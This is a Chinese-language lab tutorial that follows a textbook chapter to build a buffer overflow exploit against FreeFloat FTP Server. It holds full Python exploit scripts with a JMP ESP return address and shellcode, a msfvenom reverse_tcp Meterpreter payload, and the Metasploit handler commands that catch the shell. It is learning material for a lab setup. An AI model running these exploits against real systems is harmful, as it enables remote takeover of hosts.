Kali Linux 基于FreeFloat FTP Server编写漏洞渗透模块 (上)

发布于:2022-12-02 ⋅ 阅读:(458) ⋅ 点赞:(0)

说明

仅供学习讨论使用,请勿进行非法操作
按照《Kali Linux2 网络渗透测试实践指南 第二版 》第十章操作
渗透目标是FreeFloat FTP Server,其早期版本存在溢出漏洞。

环境准备

现成的靶机和工具

  • “邪灵工作室“公众号”下载作者提供的 windows 32位系统靶机 该主机已安装存在漏洞的FreeFloat FTP Server和进行后续分析的工具Immunity Debugger及python脚本Mona
  • Kali 官网下载2022.03 虚拟机并完成安装
  • 上述虚拟机在VM Ware中打开

自己重安装Immunity Debugger+Mona.py

想到后面可能还会使用Immunity Debugger,还是研究了整个过程,暂时不需要的小伙伴可以略过~

Immunity Debugge (Python2.7)

双击Immunity Debugger.exe安装即可,如果电脑没有安装Python2.7,会在安装结束后进行安装。

  • 窗口CPU
    请添加图片描述
    调试器界面被分成5个主要的块。
    左上角的CPU窗口------显示了正在处理的代码的反汇编指令。
    右上角是寄存器窗口------显示所有通用寄存器。
    左下角是内存窗口---------以十六进制的形式显示任何被选中的内存块。
    右下角是堆栈窗口---------显示调用的堆栈和解码后的函数参数(任何原生的API调用)。
    最底下白色的窗口是命令栏-----使用命令控制调试器,或者执行PyCommands

  • 窗口Log
    请添加图片描述
    或者通过view->选择需要查看的窗口

加载Mona.py

把mona.py拷贝进Immunity Debugger安装目录的PyCommands文件夹
测试是否成功,打开Immunity Debugger,命令行输入**!mona**,打开Log(日志窗口)出现如下页面表示安装成功
请添加图片描述
一些mona简单命令

//设置工作目录
!mona config -set workingfolder "D:\mona\"
//生成3000个字节的顺序字符串,测试溢出点
!mona pc 3000
//获取溢出点偏移
!mona po 0x12345678
//查找 jmp esp 指令
!mona jmp -r esp
//在kernel32.dll模块中查找 jmp esp指令
!mona jmp -r esp -m "kernel32.dll"

详细命令见官方手册

渗透步骤

基于上面提到的虚拟机,安装完成
攻击机 Kali Linux 2022.03, IP:192.168.229.133
靶机 Win7 32, 同网段,可以ipconfig看下具体地址,我这里为IP:192.168.229.134

验证FTP可以运行

  • 靶机运行FTP工具
    FTP基本原理:在运行的主机上建立一个FTP服务器,其他计算机上的用户可以登录这个FTP服务器来存取文件。对应服务21。而FreeFloat FTP Server对登录没有任何限制,你输入任意的用户名和密码都可以登录。
  • 攻击机使用Nmap扫描同网段的21 FTP服务 (可略过,如已知目标靶机IP地址)
    请添加图片描述
  • 攻击机命令行FTP至靶机
    不要使用浏览器打开FreeFloat FTP Server, 否则无法观察个登录过程。
    输入任意用户名和密码,按Enter键便可登录到FreeFloat FTP Server。如下图所示:
    请添加图片描述
    表明用户kali已经成功登录可以使用FTP服务器中的任意资源,其实这里使用任何一个用户名都可以登录。
    至此,说明靶机上FTP服务器可以正常运行,同时攻击机可以连上靶机。

验证溢出漏洞

在输入用户名的时候,尝试使用一个特别长的字符串作为用户名,来看看在用户名输入的位置是否存在溢出漏洞。如输入数百个“a”作为用户名,系统并没有崩溃,而且是正常出现提示用户名长度过长界面,如下图所示:
请添加图片描述
其实用户名再输入更多的"a"也是一样的,系统依然不会崩溃,那么是不是这个软件不存在溢出漏洞呢?可以查看Wireshark捕获的此次登录过程的数据包,如下图所示:
请添加图片描述

构造任意长度输入脚本

编写一个自动连接到目标FTP服务器的客户端脚本。最直接的方法是我们自行构造数据包,然后将数据包发送出去,这样我们想要数据包中多少个“a”,就可以发送多少个“a”。先建立一个到目标FTP服务器的连接。按照连接FTP服务的过程来编写这段脚本即可,而且这段脚本可以用来连接到任何提供FTP服务的软件上。

import socket  #导入需要使用的socket库
s = socket.socket() #成功建立一个socket对象,利用这个套接字就可以建立到目标的连接
connect = s.connect(('192.168.229.135',21))  #建立好一个到目标主机21端口的连接
shellcode = b"\61"*200 #这里对应阿拉伯数字1
data = b"USER " + shellcode + b"\r\n" #FTP服务器的连接需要认证,提供一个用户名和密码。服务器通常会对用户名和密码的正确性进行验证,也就是将用户的输入与自己保存的记录进行比对。字符前面是“USER”,后面是一个回车符和换行符“\r\n”。
s.send(data)#将用户名的输入作为一个测试点,很多程序员会使用memcpy函数来将用户的输入复制到一个变量中,但是这些程序员往往会忽略对地址是否越界进行检查,从而导致数据的溢出,进而引发代码远程执行的问题。

测试FreeFloat FTP Server用户名

首先检查这个软件是否存在漏洞。这检查很简单,我们在输入用户名的时候,并不像常规的那样,输入几个或者十几个字符,而是输入成百上千个字符,同时观察目标FTP服务器的反应。Wireshark中抓取到的我们输入的用户名的数据包的格式。
请添加图片描述
将这个数据包发送到目标FTP服务器上,我们可以看到这个FTP服务器没有崩溃了,现在将长度改为300个“A“, shellcode = b"\x41"*300出现了如下图的崩溃画面:
请添加图片描述
为什么把上图的阿拉伯数字替换为1,是因为机器码更好识别,如上图崩溃状态下点击查看问题详细信息,可以看到崩溃的地址为0x41414141。至此,可以识别出这是一个缓冲区溢出漏洞。
请添加图片描述

缓冲区溢出

缓冲区溢出是一个程序执行中的异常,即向缓冲区中写入数据时,这些数据超出了缓冲区的大小并且覆盖了内存地址。下图给出了一个非常简单的缓冲区溢出漏洞
在这里插入图片描述

  • 偏移量: 确定填满缓冲区和EBP寄存器所需字节的准确长度,在这个长度后面的内容就会被保存到EIP寄存器中。将未填充进EIP寄存器的数据长度称之为偏移量
  • 跳转地址: 用来重写EIP寄存器的一个地址,通常是一个DLL文件的JMP ESP指令,可以让程序跳转到攻击载荷所在的地址

定位偏移量

基于上面的基础知识,下面开始构造准确的溢出地址。Kali Linux Metasploit内置了两个工具 pattern_create.rb和pattern_offset.rb。分别可以用于创建一段没有重复字符的文本;并可以快速找到偏移量,也就是EIP寄存器的地址。
先构造500个内容不同的文本,由脚本发送至FTP服务器。对应指令为

(kali㉿kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit 
                                                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
                                                                                                                                                      
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

请添加图片描述
查看其报错中的偏移量,为0x37684136
请添加图片描述
基于“异常偏移“量确认,对应指令为

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 37684136 -l 500                                                                                                           
[*] Exact match at offset 230

请添加图片描述
至此,可以确认EIP寄存器的偏移量为230,那么提供230个"A"即可。之后4Byte内容目前定为"B"。改写上述脚本。

import socket  
s = socket.socket()
connect = s.connect(('192.168.229.135',21))  
shellcode = b"\x41"*230 + b"\x42"*4 
data = b"USER " + shellcode + b"\r\n" 
s.send(data)

再次查看报错,可以看出确实偏移量为230。
请添加图片描述

EIP指向攻击载荷

如果上述偏移量0x42424242是一个有效的地址,且为恶意的攻击载荷,那么就成功了。先看看程序在内存中的分布,如下图所示:
在这里插入图片描述
可以看出,根据栈的设计,ESP寄存器位于EIP寄存器后面,中间有间隔。同时ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因此EIP地址不固定,那么硬编码不可行
变通思路:

  • 在内存中寻找地址固定的系统模块,ESP寄存器就是成功的理想选择。一方面,大量字符溢出栈时,使用特定字符来覆盖ESP寄存器;另一方面,虽然无法直接对ESP寄存器定位,但可以在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode。
  • 利用JMP ESP指令实现跳转到当前ESP寄存器,需要从一个外部的DLL文件得到JMP ESP指令的地址,这个DLL文件将会使程序跳转到ESP中的地址,而这正是攻击载荷的起始地址。
  • 为了找到这个跳转地址,需要一个调试器,这样才能知道这个有漏洞的应用程序载入了哪些DLL文件。可以利用mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块,寻找不受DEP、ASLR机制保护的系统模块 !mona modules,利用/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令 jmp esp 转换为二进制为FFE4,在模块中搜索 FFE4 指令!mona find -s “\xff\xe4” -m slmfc.dll,找到指令所在地址后,将该地址填入EIP,构造Shellcode,且除去坏字符。

接下来详细解释。

Immunity Debugger+Mona 找到JMP ESP指令

//在shell32.dll模块中查找 jmp esp指令
!mona jmp -r esp -m "shell32.dll"

基于Immunity Debugger的Log窗口,可以看出有以下信息。选择第一条指令组委跳转指令,地址为76A16C28
请添加图片描述
可以进一步确认是否是JMP ESP指令,双击后,跳转至CPU窗口,信息如下 76A16C28 FFE4 JMP ESP
请添加图片描述

漏洞渗透程序

特别需要注意的是,同样一个地址在网络传输和CPU存储是表示方法不同,有大小端的概念。使用Python发送时为大端格式,而当前76A16C28为小端格式,需要调整。

import socket  
s = socket.socket() 
connect = s.connect(('192.168.229.135',21)) 
shellcode = b"\x41"*230 + b"\x28\x6C\xA1\x76" 
data = b"USER " + shellcode + b"\r\n" 
s.send(data)

在Immunity Debugger查看发送的字符

  • 点击 file – Attach
    请添加图片描述
  • 弹出的进程中选中 FTP Server 再点击Attach
    请添加图片描述
  • 执行一下python编写的测试代码
    请添加图片描述
  • 执行完后点击这个三角按钮
    请添加图片描述
    可以看到python代码发送的字符
    请添加图片描述

编写执行的程序

胜利就在眼前,把目标计算机上执行的程序加上即可。
下面是一段可以在目标计算器启动一个计算器的程序
该环境只有在windows XP虚拟机才可以成功执行,(虚拟机也可以在开头的环境处获取)。另外,XP中的偏移量地址也需要重新获取,这里是7C9D30D7
此外,这里还增加了特殊指令"\x90",其为空指令NOP,不会执行任何实际操作。原因是不知道ESP寄存器的实际地址(发生了偏移,会使得shellcode的部分代码没有完全载入ESP寄存器机中,因为缺失,执行时会异常)
通过NOP指令,只要足够多,可以将shellcode偏移到ESP寄存器地址,就可以顺利执行。

import socket
#shellcode = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
buff = b"\x41"*230 + b"\xD7\x30\x9D\x7C" + b"\x90"*20 #winXP  + b"\x90"*20 
shellcode = b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += b"\x7f\xe8\x7b\xca"
buff += shellcode
data = b"USER " + buff + b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.137',21))
s.send(data)
s.close()

请添加图片描述

确定坏字符

如果内容中包括不被允许的字符,可能导致FTP服务器拒绝接收后面的内容,从而导致代码只传了一部分。
可以使用逐个尝试的方法识别坏字符。所有可能的字符

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

修改python脚本

import socket
buff = b"\x41"*230 + b"\xD7\x30\x9D\x7C" + b"\x90"*8 #winXP  + b"\x90"*20 
shellcode = b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += b"\x7f\xe8\x7b\xca"
buff += shellcode
data = b"USER " + buff + b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.137',21))
s.send(data)
s.close()

启动Immunity Debugger,将FreeFloat FTP Server附加到Immunity Debugger中。回到Kali Linux中运行脚本,FTP程序崩溃。在Immunity Debugger中查看,可以看到在EIP指针位置即BBBB,紧接第一行出现了出现了password相关内容,代表包括结束输入的字符,也就是要剔除的坏字符
请添加图片描述
再次修改,第一次去掉\x00

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

请添加图片描述
在Immunity Debugger中查看,可以看到在EIP指针位置即BBBB,紧接第三行出现了出现了password相关内容,代表包括结束输入的字符,也就是要剔除的坏字符。这里可以评估出,第一行和第二行的前8个字符是没有问题的,即\x01\x02\x03\x04\x05\x06\x07\x08\x09,问题出现在\x0a\x0b\x0c\x0d
接着一个一个的去掉,首先是\x0a
请添加图片描述
很幸运,坏字符就是\x0a
根据书上答案 坏字符还有\x40,其实还有\x0d

Metasploit生成shellcode

刚才计算器的打开只是一个示例,接下来生成真正的攻击代码。
回到Kali Linux,去掉刚才识别到的坏字符,LHOST=192.168.229.133 LPORT=5001为Kali所在主机地址和端口。
注意书中第246页命令行有误。

┌──(kali㉿kali)-[~/Learning]
└─$ msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.229.133 LPORT=5001 -b '\x00\x0a\x40' -f python

生成的内容如下

buf =  b""
buf += b"\xbf\xe5\x9f\x2b\x20\xd9\xca\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x59\x31\x7a\x14\x83\xc2\x04\x03\x7a\x10\x07"
buf += b"\x6a\xd7\xc8\x48\x95\x28\x09\x36\x1f\xcd\x38\x64\x7b"
buf += b"\x85\x69\xb8\x0f\xcb\x81\x33\x5d\xf8\xa8\xbc\x6d\xb7"
buf += b"\x81\x64\xf9\xc5\x3d\x59\x3d\x85\x02\xf8\xc1\xd4\x56"
buf += b"\xda\xf8\x16\xab\x1b\x3c\xe1\xc1\xf4\x90\xa5\xa2\x58"
buf += b"\x05\xc1\xf7\x60\x24\x05\x7c\xd8\x5e\x20\x43\xac\xd2"
buf += b"\x2b\x94\xc7\xb3\x0b\x15\x04\x13\xc7\x5d\xb2\x11\x1e"
buf += b"\x29\xfe\x50\x90\x2d\x75\x56\x59\xd0\x5f\xa6\x9d\x12"
buf += b"\x90\xc4\xb1\x94\xe9\xef\x29\xe3\x01\x0c\xd7\xf4\xd2"
buf += b"\x6e\x03\x70\xc4\xc9\xc0\x22\x20\xeb\x05\xb4\xa3\xe7"
buf += b"\xe2\xb2\xeb\xeb\xf5\x17\x80\x10\x7d\x96\x46\x91\xc5"
buf += b"\xbd\x42\xf9\x9e\xdc\xd3\xa7\x71\xe0\x03\x0f\x2d\x44"
buf += b"\x48\xa2\x38\xf8\xb1\x3c\x45\xa4\x25\xf0\x88\x57\xb5"
buf += b"\x9e\x9b\x24\x87\x01\x30\xa3\xab\xca\x9e\x34\xba\xdd"
buf += b"\x20\xea\x04\x8d\xde\x0b\x74\x87\x24\x5f\x24\xbf\x8d"
buf += b"\xe0\xaf\x3f\x31\x35\x45\x4a\xa5\x76\x31\xaf\xb0\x1f"
buf += b"\x43\x30\xa8\x56\xca\xd6\x9e\x38\x9c\x46\x5f\xe9\x5c"
buf += b"\x37\x37\xe3\x53\x68\x27\x0c\xbe\x01\xc2\xe3\x16\x79"
buf += b"\x7b\x9d\x33\xf1\x1a\x62\xee\x7f\x1c\xe8\x1a\x7f\xd3"
buf += b"\x19\x6f\x93\x04\x7e\x8f\x6b\xd5\xeb\x8f\x01\xd1\xbd"
buf += b"\xd8\xbd\xdb\x98\x2e\x62\x23\xcf\x2d\x65\xdb\x8e\x07"
buf += b"\x1d\xea\x04\x27\x49\x13\xc9\xa7\x89\x45\x83\xa7\xe1"
buf += b"\x31\xf7\xf4\x14\x3e\x22\x69\x85\xab\xcd\xdb\x79\x7b"
buf += b"\xa6\xe1\xa4\x4b\x69\x1a\x83\xcf\x6e\xe4\x51\xf8\xd6"
buf += b"\x8c\xa9\xb8\xe6\x4c\xc0\x38\xb7\x24\x1f\x16\x38\x84"
buf += b"\xe0\xbd\x11\x8c\x6b\x50\xd3\x2d\x6b\x79\xb5\xf3\x6c"
buf += b"\x8e\x6e\x04\x16\xff\x91\xe5\xe7\xe9\xf5\xe6\xe7\x15"
buf += b"\x08\xdb\x31\x2c\x7e\x1a\x82\x0b\x71\x29\xa7\x3a\x18"
buf += b"\x51\xfb\x3d\x09"

把以上内容放置脚本中

import socket
#buff = b"\x41"*230+ b"\x28\x6C\xA1\x76" + b"\x90"*68  #win7 + b"\x90"*68
buff = b"\x41"*230 + b"\xD7\x30\x9D\x7C" + b"\x90"*20 #winXP  + b"\x90"*20 
buf =  b""
buf += b"\xbf\xe5\x9f\x2b\x20\xd9\xca\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x59\x31\x7a\x14\x83\xc2\x04\x03\x7a\x10\x07"
buf += b"\x6a\xd7\xc8\x48\x95\x28\x09\x36\x1f\xcd\x38\x64\x7b"
buf += b"\x85\x69\xb8\x0f\xcb\x81\x33\x5d\xf8\xa8\xbc\x6d\xb7"
buf += b"\x81\x64\xf9\xc5\x3d\x59\x3d\x85\x02\xf8\xc1\xd4\x56"
buf += b"\xda\xf8\x16\xab\x1b\x3c\xe1\xc1\xf4\x90\xa5\xa2\x58"
buf += b"\x05\xc1\xf7\x60\x24\x05\x7c\xd8\x5e\x20\x43\xac\xd2"
buf += b"\x2b\x94\xc7\xb3\x0b\x15\x04\x13\xc7\x5d\xb2\x11\x1e"
buf += b"\x29\xfe\x50\x90\x2d\x75\x56\x59\xd0\x5f\xa6\x9d\x12"
buf += b"\x90\xc4\xb1\x94\xe9\xef\x29\xe3\x01\x0c\xd7\xf4\xd2"
buf += b"\x6e\x03\x70\xc4\xc9\xc0\x22\x20\xeb\x05\xb4\xa3\xe7"
buf += b"\xe2\xb2\xeb\xeb\xf5\x17\x80\x10\x7d\x96\x46\x91\xc5"
buf += b"\xbd\x42\xf9\x9e\xdc\xd3\xa7\x71\xe0\x03\x0f\x2d\x44"
buf += b"\x48\xa2\x38\xf8\xb1\x3c\x45\xa4\x25\xf0\x88\x57\xb5"
buf += b"\x9e\x9b\x24\x87\x01\x30\xa3\xab\xca\x9e\x34\xba\xdd"
buf += b"\x20\xea\x04\x8d\xde\x0b\x74\x87\x24\x5f\x24\xbf\x8d"
buf += b"\xe0\xaf\x3f\x31\x35\x45\x4a\xa5\x76\x31\xaf\xb0\x1f"
buf += b"\x43\x30\xa8\x56\xca\xd6\x9e\x38\x9c\x46\x5f\xe9\x5c"
buf += b"\x37\x37\xe3\x53\x68\x27\x0c\xbe\x01\xc2\xe3\x16\x79"
buf += b"\x7b\x9d\x33\xf1\x1a\x62\xee\x7f\x1c\xe8\x1a\x7f\xd3"
buf += b"\x19\x6f\x93\x04\x7e\x8f\x6b\xd5\xeb\x8f\x01\xd1\xbd"
buf += b"\xd8\xbd\xdb\x98\x2e\x62\x23\xcf\x2d\x65\xdb\x8e\x07"
buf += b"\x1d\xea\x04\x27\x49\x13\xc9\xa7\x89\x45\x83\xa7\xe1"
buf += b"\x31\xf7\xf4\x14\x3e\x22\x69\x85\xab\xcd\xdb\x79\x7b"
buf += b"\xa6\xe1\xa4\x4b\x69\x1a\x83\xcf\x6e\xe4\x51\xf8\xd6"
buf += b"\x8c\xa9\xb8\xe6\x4c\xc0\x38\xb7\x24\x1f\x16\x38\x84"
buf += b"\xe0\xbd\x11\x8c\x6b\x50\xd3\x2d\x6b\x79\xb5\xf3\x6c"
buf += b"\x8e\x6e\x04\x16\xff\x91\xe5\xe7\xe9\xf5\xe6\xe7\x15"
buf += b"\x08\xdb\x31\x2c\x7e\x1a\x82\x0b\x71\x29\xa7\x3a\x18"
buf += b"\x51\xfb\x3d\x09"

buff += buf
data = b"USER " + buff + b"\r\n"
print(data)
s = socket.socket()
connect = s.connect(('192.168.229.137',21))
s.send(data)
s.close()

打开Metasploit,启动一个主控端,这里的

[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.229.133
LHOST => 192.168.229.133
msf6 exploit(multi/handler) > set LPORT 5001
LPORT => 5001
msf6 exploit(multi/handler) > run

成功!
请添加图片描述
接下来可以继续参考验证随着系统启动而启动,控制不会中断章节处理
请添加图片描述
附,如果按照书中错误命令行生成payload,最后会失败。原因,命令行 msfvenom生成的payload为 windows/shell_reverse_tcp,而msfconsole中payload为windows/meterpreter/reverse_tcp,不匹配。因此也是一个提醒,要保持一致才可以!
请添加图片描述

写在最后

window7中没有打开计算器在11章有答案,目前做的工作也是有意义的

参考

本文含有隐藏内容,请 开通VIP 后查看